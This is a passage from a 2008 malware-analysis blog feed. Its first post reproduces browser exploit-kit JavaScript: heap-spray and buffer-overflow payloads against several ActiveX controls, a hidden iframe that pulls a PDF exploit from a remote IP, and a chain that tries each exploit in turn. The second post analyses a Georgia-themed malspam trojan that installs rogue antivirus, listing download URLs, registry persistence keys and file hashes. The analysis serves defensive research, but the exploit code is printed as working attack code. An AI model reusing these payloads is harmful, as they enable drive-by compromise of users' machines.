cobj("{88d969c5-f192-11d4-a65f-0040963251e5}");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj = obj.object&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if(obj) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      try {obj.open(new Array(),new Array(),new Array(),new Array(),new Array());} catch(e) {};&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.open(new Object(),new Object(),new Object(),new Object(),new Object());&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),"...");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.setRequestHeader(new Object(),0x1016660);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    } catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function quick(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj = cobj("QuickTime.QuickTime.4");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if (obj) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var buf = "";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      for(var i=0;i&amp;lt;200;i++) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       buf += "AAAA";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      buf += "AAA";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      for(var i=0;i&amp;lt;3;i++)buf += "\x0c\x0c\x0c\x0c";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var my_div = document.createElement("div");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      my_div.innerHTML = &lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      "&amp;lt;object classid=\"clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B\" width=\"200\" height=\"200\"&amp;gt;" +&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      "&amp;lt;param name=\"src\" value=\"object_rtsp\"&amp;gt;" +&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      "&amp;lt;param name=\"type\" value=\"image/x-quicktime\"&amp;gt;" +&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      "&amp;lt;param name=\"autoplay\" value=\"true\"&amp;gt;" +&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      "&amp;lt;param name=\"qtnext1\" value=\"&amp;lt;rtsp://BBBB:"+buf+"&amp;gt;T&amp;lt;myself&amp;gt;\"&amp;gt;" +&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      "&amp;lt;param name=\"target\" value=\"myself\"&amp;gt;" +&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      "&amp;lt;/object&amp;gt;";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      document.body.appendChild(my_div);&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    } catch(e) {}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function real(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj = cobj("IERPCtl.IERPCtl.1");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if (obj) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      if(obj.PlayerProperty("PRODUCTVERSION")&amp;gt;"6.0.14.552") {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       obj = cobj("{2F542A2E-EDC9-4BF7-8CB1-87C9919F7F93}");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       var m = "";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       var buf = addr(0x0c0c0c0c);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       while (buf.length &amp;lt; 32) buf += buf;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       buf = buf.substring(0,32);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       m = obj.Console;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       obj.Console = buf;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       obj.Console = m;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       m = obj.Console;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       obj.Console = buf;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;       obj.Console = m;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    } catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function ntaudio(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj=cobj("{77829F14-D911-40FF-A2F0-D11DB8D6D0BC}");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if(obj){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var buf = addr(0x0c0c0c0c);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      while (buf.length &amp;lt; 5200) buf += buf;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      buf = buf.substring(0,5200);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.SetFormatLikeSample(buf);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function creative(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try{&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj=null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj=cobj("{0A5FD7C5-A45C-49FC-ADB5-9952547D5715}");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if(obj){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      ms();&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var buf = addr(0x09090909);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      while (buf.length &amp;lt; 512) buf += buf;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      buf = buf.substring(0,512);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj.cachefolder = buf;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    }catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   function pdf(){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    try {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var vers = new Array(0,0,0);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var ver = "0";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     var obj = null;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     obj = cobj("AcroPDF.PDF");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if (!obj){&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      obj = cobj("PDF.PdfCtrl");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     if (obj) {&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      var my_div = document.createElement("div");&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      my_div.innerHTML = "&amp;lt;iframe src=\"http[:]//59.125.229.71/ex/7/pdf.php?id=4366\" width=100 height=100 style=\"display:none\"&amp;gt;&amp;lt;/iframe&amp;gt;";&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;      document.body.appendChild(my_div);&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     }&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    } catch(e){}&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    return 0;&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   }&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;   if (&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    mdac() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    office() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    dl() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    pdf() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    wfi() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    com() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    creative() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    wks() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ogame() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ca() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    buddy() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    gomweb() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    xmlcore() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    quick() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    real() ||&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ntaudio()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;     || dani()&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;    ) {}&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=";font-family:&amp;quot;;font-size:10;"  &gt;&lt;/span&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-8800198532698521537?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://xanalysis.blogspot.com/feeds/8800198532698521537/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=3812859427594797116&amp;postID=8800198532698521537' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/8800198532698521537'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/3812859427594797116/posts/default/8800198532698521537'/><link rel='alternate' type='text/html' href='http://xanalysis.blogspot.com/2008/09/exploit-toolkit-expansion.html' title='Exploit Toolkit Expansion'/><author><name>-kc</name><uri>http://www.blogger.com/profile/10201182625344593178</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-3812859427594797116.post-1227096295791657330</id><published>2008-08-29T09:43:00.018-04:00</published><updated>2008-08-29T10:11:31.801-04:00</updated><title type='text'>Journalists shot in Georgia - Georgia.zip</title><content type='html'>Around 19 August 2008, numerous security researchers and vendors reported the proliferation of malspam emails related to the Russia/Georgia conflict. The emails had the subject “Journalists shot in Georgia” and the password protected attachment Georgia.zip. The email body contained a message concerning the Russia/Georgia conflict and the password for the zip file. The following is a sample message:&lt;br /&gt;&lt;br /&gt;&lt;em&gt;Turkish television has released video of four journalists on assignment in Georgia being shot at.&lt;br /&gt;The crew from NTV were in an area of Georgian-Russian fighting between the Georgian town of Gori and South Ossetia.&lt;br /&gt;&lt;br /&gt;Real photo in the attachment&lt;br /&gt;&lt;br /&gt;attach password: 123&lt;/em&gt; &lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The Georgia.zip file contains joined.exe. When executed, the malware creates %Temp%\LOADER.19B099.EXE and uses the BITS (Background Intelligent Transfer Service) to download filebyaka.exe and exe.php from the Chinese hosted site reddii.org (220.196.42.217). The exe.php page returns a 404 error.&lt;br /&gt;&lt;br /&gt;http[:]//reddii.org//traffic/all/files/filebyaka.exe&lt;/div&gt;&lt;div&gt;http[:]//reddii.org/traffic/ft08/exe.php&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/_q7ApSx8GNew/SLf9gis8geI/AAAAAAAAABE/SIM0Hd_WbXI/s1600-h/zip.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5239935426981822946" style="CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_q7ApSx8GNew/SLf9gis8geI/AAAAAAAAABE/SIM0Hd_WbXI/s320/zip.JPG" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;strong&gt;filebyaka.exe&lt;/strong&gt;&lt;/div&gt;&lt;div&gt;The malware filebyaka.exe copies itself as %system%\lphcavej0e7bp.exe and creates the following files&lt;br /&gt;&lt;br /&gt;%system%\phcavej0e7bp.bmp&lt;br /&gt;%system%\blphcavej0e7bp.scr&lt;br /&gt;%temp%\.tt2.tmp&lt;br /&gt;%temp%\.tt2.tmp.vbs&lt;br /&gt;%temp%\.tt3.tmp&lt;br /&gt;%temp%\.tt4.tmp&lt;br /&gt;%temp%\.tt5.tmp&lt;br /&gt;%temp%\.tt6.tmp&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The following registry keys set phcavej0e7bp.bmp and blphcavej0e7bp.scr as the Windows desktop background and screensaver respectively.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:courier new;"&gt;HKEY_CURRENT_USER\Control Panel\Desktop&lt;br /&gt;"ConvertedWallpaper" = C:\WINDOWS\System32\phcavej0e7bp.bmp&lt;br /&gt;"SCRNSAVE.EXE" = C:\WINDOWS\System32\blphcavej0e7bp.scr&lt;br /&gt;"WallpaperStyle" = 0&lt;br /&gt;"ScreenSaveActive" = 1&lt;br /&gt;HKEY_CURRENT_USER\Software\Sysinternals\Bluescreen Screen Saver&lt;br /&gt;"EulaAccepted" = 1&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Software Notifier&lt;br /&gt;"InstallID" = Data: dfc9f3e6-e26c-4c13-bbb8-0bda4ea03ccd&lt;br /&gt;HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style="font-family:courier new;"&gt;"NoDispBackgroundPage" = 1&lt;br /&gt;"NoDispScrSavPage" = 1&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://2.bp.blogspot.com/_q7ApSx8GNew/SLf9y185_UI/AAAAAAAAABM/NK0lA-VzKl8/s1600-h/backgnd.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5239935741386685762" style="CURSOR: hand" alt="" src="http://2.bp.blogspot.com/_q7ApSx8GNew/SLf9y185_UI/AAAAAAAAABM/NK0lA-VzKl8/s320/backgnd.JPG" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;br /&gt;A registry key launches the malware lphcavej0e7bp.exe at startup.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;br /&gt;"lphcavej0e7bp" = Data: C:\WINDOWS\System32\lphcavej0e7bp.exe&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The file .tt2.tmp.vbs is used to prevent installation restore points in System Restore.&lt;br /&gt;&lt;br /&gt;The malware lphcavej0e7bp.exe retrieves graphics from the following domains and performs unresolved DNS requests for variable_string.chr.santa-inbox.com.&lt;br /&gt;&lt;br /&gt;avxp-2008.net (78.159. 96.17)&lt;br /&gt;stat-avxp-2008.net (78.159. 96.16)&lt;br /&gt;www[.]avxp-2008.net (78.159. 96.16)&lt;br /&gt;&lt;br /&gt;DNS Sample:&lt;br /&gt;404562.1.ea1791ca31f623f9821f379c529dc3f5.chr.santa-inbox.com&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;strong&gt;.tt5.tmp:1288&lt;br /&gt;&lt;/strong&gt;&lt;/div&gt;&lt;div&gt;The file .tt5.tmp:1288, originally created by filebyaka.exe, creates several temp files and a persistent window that attempts to force a victim into installing the rogue antispyware program Antivirus XP 2008.&lt;br /&gt;&lt;br /&gt;%Temp%\nsn7.tmp&lt;br /&gt;%Temp%\nsn8.tmp&lt;br /&gt;%Temp%\nsn9.tmp&lt;br /&gt;%Temp%\nsd9.tmp\MachineKey.dll&lt;br /&gt;%Temp%\nsd9.tmp\Mutex.dll&lt;br /&gt;%Temp%\nsd9.tmp\System.dll&lt;br /&gt;%Temp%\.tt5.tmp.exe&lt;br /&gt;%Temp%\nsd9.tmp\md5dll.dll&lt;br /&gt;%Temp%\nsd9.tmp\rc4hex.dll&lt;br /&gt;%Temp%\nsd9.tmp\euladlg.dll&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://3.bp.blogspot.com/_q7ApSx8GNew/SLf-UBjZkeI/AAAAAAAAABU/QN9C-y7Opks/s1600-h/AVXPLic.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5239936311436612066" style="CURSOR: hand" alt="" src="http://3.bp.blogspot.com/_q7ApSx8GNew/SLf-UBjZkeI/AAAAAAAAABU/QN9C-y7Opks/s320/AVXPLic.JPG" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span&gt;Clicking on the persistent Antivirus XP 2008 window causes the file .tt5.tmp:1288 to create the Program Files folder rhcevej0e7bp and several Antivirus XP 2008 installation files.&lt;br /&gt;&lt;br /&gt;C:\Program Files\rhcevej0e7bp\rhcevej0e7bp.exe&lt;br /&gt;C:\Program Files\rhcevej0e7bp\database.dat&lt;br /&gt;C:\Program Files\rhcevej0e7bp\msvcp71.dll&lt;br /&gt;C:\Program Files\rhcevej0e7bp\MFC71.dll&lt;br /&gt;C:\Program Files\rhcevej0e7bp\MFC71ENU.DLL&lt;br /&gt;C:\Program Files\rhcevej0e7bp\msvcr71.dll&lt;br /&gt;C:\Program Files\rhcevej0e7bp\license.txt&lt;br /&gt;C:\Program Files\rhcevej0e7bp\rhcevej0e7bp.exe.local&lt;br /&gt;C:\Program Files\rhcevej0e7bp\Uninstall.exe&lt;br /&gt;&lt;br /&gt;The file rhcevej0e7bp.exe creates %system%\pphcavej0e7bp.exe&lt;br /&gt;&lt;br /&gt;The following registry keys launch rhcevej0e7bp.exe (Antivirus XP 2008) at startup.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion&lt;br /&gt;"rhcevej0e7bp" = CA, 1E, B7, 48&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\User Agent\Post Platform&lt;br /&gt;"AntivirXP08" = AntivirXP08&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run&lt;br /&gt;"SMrhcevej0e7bp" = C:\Program Files\rhcevej0e7bp\rhcevej0e7bp.exe&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\rhcevej0e7bp "DisplayName" = AntivirXP08&lt;br /&gt;"UninstallString" = "C:\Program Files\rhcevej0e7bp\uninstall.exe" HKEY_LOCAL_MACHINE\SOFTWARE\rhcevej0e7bp&lt;br /&gt;"(Default)" = C:\Program Files\rhcevej0e7bp&lt;br /&gt;"ADVid" = ea1791ca31f623f9821f379c529dc3f5&lt;br /&gt;"AutomaticallyUpdates" = 1&lt;br /&gt;"BackgroundScan" = 1&lt;br /&gt;"BackgroundScanTimeout" = 1&lt;br /&gt;"BuyDiscUrl" = HEX&lt;br /&gt;"BuyUrl" = HEX&lt;br /&gt;"DatabaseVersion" = 2.1&lt;br /&gt;"DaysInterval" = 7&lt;br /&gt;"domain" = HEX&lt;br /&gt;"EngineVersion" = 2.1&lt;br /&gt;"GuiVersion" = 2.1&lt;br /&gt;"InstallDir" = C:\Program Files\rhcevej0e7bp&lt;br /&gt;"LastTimeStamp" = 0C, 01, 00, 00&lt;br /&gt;"MinimizeOnStart" = 0&lt;br /&gt;"ProgramVersion" = 2.1&lt;br /&gt;"ProxyName"&lt;br /&gt;"ProxyPort" = 0&lt;br /&gt;"ScanDepth" = 2&lt;br /&gt;"ScanPriority" = 1&lt;br /&gt;"ScanSystemOnStartup" = 1&lt;br /&gt;"SoftID" = AntivirXP08&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;The rogue antispyware program Antivirus XP 2008 displays fake alerts in order to persuade users into buying the rogue antispyware program. The malware is detected as &lt;a href="http://www.symantec.com/security_response/writeup.jsp?docid=2008-062711-5534-99&amp;amp;tabid=2"&gt;Trojan.Blusod &lt;/a&gt;(Symantec).&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;a href="http://4.bp.blogspot.com/_q7ApSx8GNew/SLf_Ab9Z0lI/AAAAAAAAABc/_PWr2zVqCJY/s1600-h/XPAVPro.JPG"&gt;&lt;img id="BLOGGER_PHOTO_ID_5239937074439246418" style="CURSOR: hand" alt="" src="http://4.bp.blogspot.com/_q7ApSx8GNew/SLf_Ab9Z0lI/AAAAAAAAABc/_PWr2zVqCJY/s320/XPAVPro.JPG" border="0" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;The following files were collected during malware analysis. &lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;span&gt;&lt;span&gt;&lt;span style="font-family:courier new;"&gt;Filename, MD5 Size, (Bytes)&lt;br /&gt;.tt2.tmp.vbs, 9df700c8f6fd43fac0a89aef04214bbd, 1002&lt;br /&gt;.tt5.tmp.exe, 94d00b0ea3c0fc69c52f761efcb49c0c, 1613465&lt;br /&gt;blphcavej0e7bp.scr, b10a43b9044b488dc8c7d33b250cfebb, 118784&lt;br /&gt;filebyaka.exe, fc85dab5849416f8796b799fc209395a, 199168&lt;br /&gt;Georgia.zip, b1698f9c3109c9fa723e68cad124eb60, 5915&lt;br /&gt;joined.exe, 607af96b03addadf28cf9280701df191, 7680&lt;br /&gt;license.bmp, 7003a7e6f2421213a24456724071e9d3, 2359350&lt;br /&gt;lphcavej0e7bp.exe, fc85dab5849416f8796b799fc209395a, 199168&lt;br /&gt;pphcavej0e7bp.exe, f18a4aa83fa2dc238536103731337759, 106496&lt;br /&gt;database.dat, c19b001e6fe6c082e5069e4490898ccc, 1701&lt;br /&gt;license.txt, b9df16a4c49ce4fe979d8f27d89a8106, 19598&lt;br /&gt;MFC71.dll, f35a584e947a5b401feb0fe01db4a0d7, 1060864&lt;br /&gt;MFC71ENU.DLL, baf751e7061ff626aa60f56d1d5d1fdc, 57344&lt;br /&gt;msvcp71.dll, 561fa2abb31dfa8fab762145f81667c2, 499712&lt;br /&gt;msvcr71.dll, 86f1895ae8c5e8b17d99ece768a70732, 348160&lt;br /&gt;rhcevej0e7bp.exe, 02eb58055afb8b81a05ea623882a9034, 831488&lt;br /&gt;Uninstall.exe, 423c6bcad6e91fb6e81a40689d1640e4, 110562&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;/span&gt;&lt;div&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/3812859427594797116-1227096295791657330?l=xanalysis.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' 